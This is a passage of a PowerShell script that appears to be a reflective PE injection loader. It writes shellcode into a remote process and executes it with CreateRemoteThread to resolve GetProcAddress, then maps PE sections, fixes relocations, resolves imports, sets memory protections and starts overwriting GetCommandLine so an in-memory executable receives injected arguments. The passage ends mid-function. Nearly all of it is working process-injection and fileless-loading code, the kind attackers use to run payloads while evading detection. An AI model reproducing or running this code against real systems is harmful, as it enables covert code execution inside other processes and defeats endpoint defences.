1467 | $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
1468 | $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes
1469 |
1470 |
1471 | #Allocate memory for the address returned by GetProcAddress
1472 | $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
1473 | if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
1474 | {
1475 | Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
1476 | }
1477 |
1478 |
1479 | #Write Shellcode to the remote process which will call GetProcAddress
1480 | #Shellcode: GetProcAddress.asm
1481 | [Byte[]]$GetProcAddressSC = @()
1482 | if ($PEInfo.PE64Bit -eq $true)
1483 | {
1484 | $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
1485 | $GetProcAddressSC2 = @(0x48, 0xba)
1486 | $GetProcAddressSC3 = @(0x48, 0xb8)
1487 | $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
1488 | $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
1489 | }
1490 | else
1491 | {
1492 | $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
1493 | $GetProcAddressSC2 = @(0xb9)
1494 | $GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
1495 | $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
1496 | $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
1497 | }
1498 | $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
1499 | $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
1500 | $SCPSMemOriginal = $SCPSMem
1501 |
1502 | Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
1503 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
1504 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
1505 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1506 | Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
1507 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
1508 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
1509 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1510 | Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
1511 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
1512 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
1513 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1514 | Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
1515 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
1516 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
1517 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1518 | Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
1519 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)
1520 |
1521 | $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
1522 | if ($RSCAddr -eq [IntPtr]::Zero)
1523 | {
1524 | Throw "Unable to allocate memory in the remote process for shellcode"
1525 | }
1526 | [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
1527 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
1528 | if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
1529 | {
1530 | Throw "Unable to write shellcode to remote process memory."
1531 | }
1532 |
1533 | $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
1534 | $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
1535 | if ($Result -ne 0)
1536 | {
1537 | Throw "Call to CreateRemoteThread to call GetProcAddress failed."
1538 | }
1539 |
1540 | #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory
1541 | [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
1542 | $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
1543 | if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
1544 | {
1545 | Throw "Call to ReadProcessMemory failed"
1546 | }
1547 | [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
1548 |
1549 | #Cleanup remote process memory
1550 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1551 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1552 |
1553 | if (-not $LoadByOrdinal)
1554 | {
1555 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1556 | }
1557 |
1558 | return $ProcAddress
1559 | }
1560 |
1561 |
1562 | Function Copy-Sections
1563 | {
1564 | Param(
1565 | [Parameter(Position = 0, Mandatory = $true)]
1566 | [Byte[]]
1567 | $PEBytes,
1568 |
1569 | [Parameter(Position = 1, Mandatory = $true)]
1570 | [System.Object]
1571 | $PEInfo,
1572 |
1573 | [Parameter(Position = 2, Mandatory = $true)]
1574 | [System.Object]
1575 | $Win32Functions,
1576 |
1577 | [Parameter(Position = 3, Mandatory = $true)]
1578 | [System.Object]
1579 | $Win32Types
1580 | )
1581 |
1582 | for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
1583 | {
1584 | [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
1585 | $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
1586 |
1587 | #Address to copy the section to
1588 | [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
1589 |
1590 | #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated
1591 | # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If
1592 | # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away,
1593 | # so truncate SizeOfRawData to VirtualSize
1594 | $SizeOfRawData = $SectionHeader.SizeOfRawData
1595 |
1596 | if ($SectionHeader.PointerToRawData -eq 0)
1597 | {
1598 | $SizeOfRawData = 0
1599 | }
1600 |
1601 | if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
1602 | {
1603 | $SizeOfRawData = $SectionHeader.VirtualSize
1604 | }
1605 |
1606 | if ($SizeOfRawData -gt 0)
1607 | {
1608 | Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
1609 | [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
1610 | }
1611 |
1612 | #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space
1613 | if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
1614 | {
1615 | $Difference = $SectionHeader.VirtualSize - $SizeOfRawData
1616 | [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
1617 | Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
1618 | $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
1619 | }
1620 | }
1621 | }
1622 |
1623 |
1624 | Function Update-MemoryAddresses
1625 | {
1626 | Param(
1627 | [Parameter(Position = 0, Mandatory = $true)]
1628 | [System.Object]
1629 | $PEInfo,
1630 |
1631 | [Parameter(Position = 1, Mandatory = $true)]
1632 | [Int64]
1633 | $OriginalImageBase,
1634 |
1635 | [Parameter(Position = 2, Mandatory = $true)]
1636 | [System.Object]
1637 | $Win32Constants,
1638 |
1639 | [Parameter(Position = 3, Mandatory = $true)]
1640 | [System.Object]
1641 | $Win32Types
1642 | )
1643 |
1644 | [Int64]$BaseDifference = 0
1645 | $AddDifference = $true #Track if the difference variable should be added or subtracted from variables
1646 | [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
1647 |
1648 | #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do
1649 | if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
1650 | -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
1651 | {
1652 | return
1653 | }
1654 |
1655 |
1656 | elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
1657 | {
1658 | $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
1659 | $AddDifference = $false
1660 | }
1661 | elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
1662 | {
1663 | $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
1664 | }
1665 |
1666 | #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified
1667 | [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
1668 | while($true)
1669 | {
1670 | #If SizeOfBlock == 0, we are done
1671 | $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)
1672 |
1673 | if ($BaseRelocationTable.SizeOfBlock -eq 0)
1674 | {
1675 | break
1676 | }
1677 |
1678 | [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
1679 | $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2
1680 |
1681 | #Loop through each relocation
1682 | for($i = 0; $i -lt $NumRelocations; $i++)
1683 | {
1684 | #Get info for this relocation
1685 | $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
1686 | [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])
1687 |
1688 | #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase
1689 | [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
1690 | [UInt16]$RelocType = $RelocationInfo -band 0xF000
1691 | for ($j = 0; $j -lt 12; $j++)
1692 | {
1693 | $RelocType = [Math]::Floor($RelocType / 2)
1694 | }
1695 |
1696 | #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit.
1697 | #This appears to be true for EXE's as well.
1698 | # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx
1699 | if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
1700 | -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
1701 | {
1702 | #Get the current memory address and update it based off the difference between PE expected base address and actual base address
1703 | [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
1704 | [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
1705 |
1706 | if ($AddDifference -eq $true)
1707 | {
1708 | [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
1709 | }
1710 | else
1711 | {
1712 | [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
1713 | }
1714 |
1715 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
1716 | }
1717 | elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
1718 | {
1719 | #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it
1720 | Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
1721 | }
1722 | }
1723 |
1724 | $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
1725 | }
1726 | }
1727 |
1728 |
1729 | Function Import-DllImports
1730 | {
1731 | Param(
1732 | [Parameter(Position = 0, Mandatory = $true)]
1733 | [System.Object]
1734 | $PEInfo,
1735 |
1736 | [Parameter(Position = 1, Mandatory = $true)]
1737 | [System.Object]
1738 | $Win32Functions,
1739 |
1740 | [Parameter(Position = 2, Mandatory = $true)]
1741 | [System.Object]
1742 | $Win32Types,
1743 |
1744 | [Parameter(Position = 3, Mandatory = $true)]
1745 | [System.Object]
1746 | $Win32Constants,
1747 |
1748 | [Parameter(Position = 4, Mandatory = $false)]
1749 | [IntPtr]
1750 | $RemoteProcHandle
1751 | )
1752 |
1753 | $RemoteLoading = $false
1754 | if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
1755 | {
1756 | $RemoteLoading = $true
1757 | }
1758 |
1759 | if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
1760 | {
1761 | [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
1762 |
1763 | while ($true)
1764 | {
1765 | $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
1766 |
1767 | #If the structure is null, it signals that this is the end of the array
1768 | if ($ImportDescriptor.Characteristics -eq 0 `
1769 | -and $ImportDescriptor.FirstThunk -eq 0 `
1770 | -and $ImportDescriptor.ForwarderChain -eq 0 `
1771 | -and $ImportDescriptor.Name -eq 0 `
1772 | -and $ImportDescriptor.TimeDateStamp -eq 0)
1773 | {
1774 | Write-Verbose "Done importing DLL imports"
1775 | break
1776 | }
1777 |
1778 | $ImportDllHandle = [IntPtr]::Zero
1779 | $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
1780 | $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
1781 |
1782 | if ($RemoteLoading -eq $true)
1783 | {
1784 | $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
1785 | }
1786 | else
1787 | {
1788 | $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
1789 | }
1790 |
1791 | if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
1792 | {
1793 | throw "Error importing DLL, DLLName: $ImportDllPath"
1794 | }
1795 |
1796 | #Get the first thunk, then loop through all of them
1797 | [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
1798 | [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk
1799 | [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
1800 |
1801 | while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
1802 | {
1803 | $LoadByOrdinal = $false
1804 | [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero
1805 | #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit
1806 | # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint
1807 | # and doing the comparison, just see if it is less than 0
1808 | [IntPtr]$NewThunkRef = [IntPtr]::Zero
1809 | if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)
1810 | {
1811 | [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
1812 | $LoadByOrdinal = $true
1813 | }
1814 | elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)
1815 | {
1816 | [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
1817 | $LoadByOrdinal = $true
1818 | }
1819 | else
1820 | {
1821 | [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
1822 | $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
1823 | $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
1824 | $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)
1825 | }
1826 |
1827 | if ($RemoteLoading -eq $true)
1828 | {
1829 | [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal
1830 | }
1831 | else
1832 | {
1833 | [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)
1834 | }
1835 |
1836 | if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
1837 | {
1838 | if ($LoadByOrdinal)
1839 | {
1840 | Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath"
1841 | }
1842 | else
1843 | {
1844 | Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
1845 | }
1846 | }
1847 |
1848 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
1849 |
1850 | $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
1851 | [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
1852 | [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
1853 |
1854 | #Cleanup
1855 | #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed
1856 | if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))
1857 | {
1858 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)
1859 | $ProcedureNamePtr = [IntPtr]::Zero
1860 | }
1861 | }
1862 |
1863 | $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
1864 | }
1865 | }
1866 | }
1867 |
1868 | Function Get-VirtualProtectValue
1869 | {
1870 | Param(
1871 | [Parameter(Position = 0, Mandatory = $true)]
1872 | [UInt32]
1873 | $SectionCharacteristics
1874 | )
1875 |
1876 | $ProtectionFlag = 0x0
1877 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
1878 | {
1879 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
1880 | {
1881 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
1882 | {
1883 | $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
1884 | }
1885 | else
1886 | {
1887 | $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
1888 | }
1889 | }
1890 | else
1891 | {
1892 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
1893 | {
1894 | $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
1895 | }
1896 | else
1897 | {
1898 | $ProtectionFlag = $Win32Constants.PAGE_EXECUTE
1899 | }
1900 | }
1901 | }
1902 | else
1903 | {
1904 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
1905 | {
1906 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
1907 | {
1908 | $ProtectionFlag = $Win32Constants.PAGE_READWRITE
1909 | }
1910 | else
1911 | {
1912 | $ProtectionFlag = $Win32Constants.PAGE_READONLY
1913 | }
1914 | }
1915 | else
1916 | {
1917 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
1918 | {
1919 | $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
1920 | }
1921 | else
1922 | {
1923 | $ProtectionFlag = $Win32Constants.PAGE_NOACCESS
1924 | }
1925 | }
1926 | }
1927 |
1928 | if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
1929 | {
1930 | $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
1931 | }
1932 |
1933 | return $ProtectionFlag
1934 | }
1935 |
1936 | Function Update-MemoryProtectionFlags
1937 | {
1938 | Param(
1939 | [Parameter(Position = 0, Mandatory = $true)]
1940 | [System.Object]
1941 | $PEInfo,
1942 |
1943 | [Parameter(Position = 1, Mandatory = $true)]
1944 | [System.Object]
1945 | $Win32Functions,
1946 |
1947 | [Parameter(Position = 2, Mandatory = $true)]
1948 | [System.Object]
1949 | $Win32Constants,
1950 |
1951 | [Parameter(Position = 3, Mandatory = $true)]
1952 | [System.Object]
1953 | $Win32Types
1954 | )
1955 |
1956 | for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
1957 | {
1958 | [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
1959 | $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
1960 | [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
1961 |
1962 | [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
1963 | [UInt32]$SectionSize = $SectionHeader.VirtualSize
1964 |
1965 | [UInt32]$OldProtectFlag = 0
1966 | Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
1967 | $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
1968 | if ($Success -eq $false)
1969 | {
1970 | Throw "Unable to change memory protection"
1971 | }
1972 | }
1973 | }
1974 |
1975 | #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE
1976 | #Returns an object with addresses to copies of the bytes that were overwritten (and the count)
1977 | Function Update-ExeFunctions
1978 | {
1979 | Param(
1980 | [Parameter(Position = 0, Mandatory = $true)]
1981 | [System.Object]
1982 | $PEInfo,
1983 |
1984 | [Parameter(Position = 1, Mandatory = $true)]
1985 | [System.Object]
1986 | $Win32Functions,
1987 |
1988 | [Parameter(Position = 2, Mandatory = $true)]
1989 | [System.Object]
1990 | $Win32Constants,
1991 |
1992 | [Parameter(Position = 3, Mandatory = $true)]
1993 | [String]
1994 | $ExeArguments,
1995 |
1996 | [Parameter(Position = 4, Mandatory = $true)]
1997 | [IntPtr]
1998 | $ExeDoneBytePtr
1999 | )
2000 |
2001 | #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state.
2002 | $ReturnArray = @()
2003 |
2004 | $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
2005 | [UInt32]$OldProtectFlag = 0
2006 |
2007 | [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
2008 | if ($Kernel32Handle -eq [IntPtr]::Zero)
2009 | {
2010 | throw "Kernel32 handle null"
2011 | }
2012 |
2013 | [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
2014 | if ($KernelBaseHandle -eq [IntPtr]::Zero)
2015 | {
2016 | throw "KernelBase handle null"
2017 | }
2018 |
2019 | #################################################
2020 | #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it.
2021 | # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want.
2022 | $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
2023 | $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
2024 |
2025 | [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
2026 | [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")
2027 |
2028 | if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
2029 | {
2030 | throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)"
2031 | }
2032 |
2033 | #Prepare the shellcode
2034 | [Byte[]]$Shellcode1 = @()
2035 | if ($PtrSize -eq 8)
2036 | {
2037 | $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8
2038 | }
2039 | $Shellcode1 += 0xb8
2040 |
2041 | [Byte[]]$Shellcode2 = @(0xc3)
2042 | $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
2043 |
2044 |
2045 | #Make copy of GetCommandLineA and GetCommandLineW
2046 | $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
2047 | $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
2048 | $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
2049 | $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
2050 | $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
2051 | $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)
2052 |
2053 | #Overwrite GetCommandLineA
2054 | [UInt32]$OldProtectFlag = 0
